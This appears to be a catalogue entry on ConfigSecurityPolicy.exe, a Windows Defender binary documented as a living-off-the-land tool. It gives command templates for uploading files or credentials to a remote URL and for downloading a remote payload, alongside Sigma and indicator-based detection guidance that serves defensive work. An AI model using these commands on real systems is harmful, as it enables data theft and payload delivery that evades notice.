windows enabled community medium v1.0.0

configsecuritypolicy

Binary part of Windows Defender. Used to manage settings in Windows Defender. You can configure different pilot collections for each of the co-management workloads. Being able to use different pilot collections allows you to take a more granular approach when shifting workloads. Located at: C:\Program Files\Windows Defender\ConfigSecurityPolicy.exe; C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\ConfigSecurityPolicy.exe.

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configsecuritypolicy
configsecuritypolicy

Sandbox: execFile · Timeout: 30s

Capabilities

network.transfer.upload
network.transfer.download

Contract

Outputs

process.output

Command execution output

Side effects: network_traffic

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networkmedium
Disk I/Olow

Examples

Upload file, credentials or data exfiltration in general (Upload file)

ConfigSecurityPolicy.exe {PATH_ABSOLUTE} {REMOTEURL}

It will download a remote payload and place it in INetCache. (Downloads payload from remote server)

ConfigSecurityPolicy.exe {REMOTEURL}

Detection

TypeRule / Indicator
sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_configsecuritypolicy.yml
ioc ConfigSecurityPolicy storing data into alternate data streams.
ioc Preventing/Detecting ConfigSecurityPolicy with non-RFC1918 addresses by Network IPS/IDS.
ioc Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching ConfigSecurityPolicy.exe.
ioc User Agent is "MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)"

Documentation

configsecuritypolicy

configsecuritypolicy is a Windows LOLBin. Binary part of Windows Defender. Used to manage settings in Windows Defender. You can configure different pilot collections for each of the co-management workloads. Being able to use different pilot collections allows you to take a more granular approach when shifting workloads. Located at: C:\Program Files\Windows Defender\ConfigSecurityPolicy.exe; C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\ConfigSecurityPolicy.exe.

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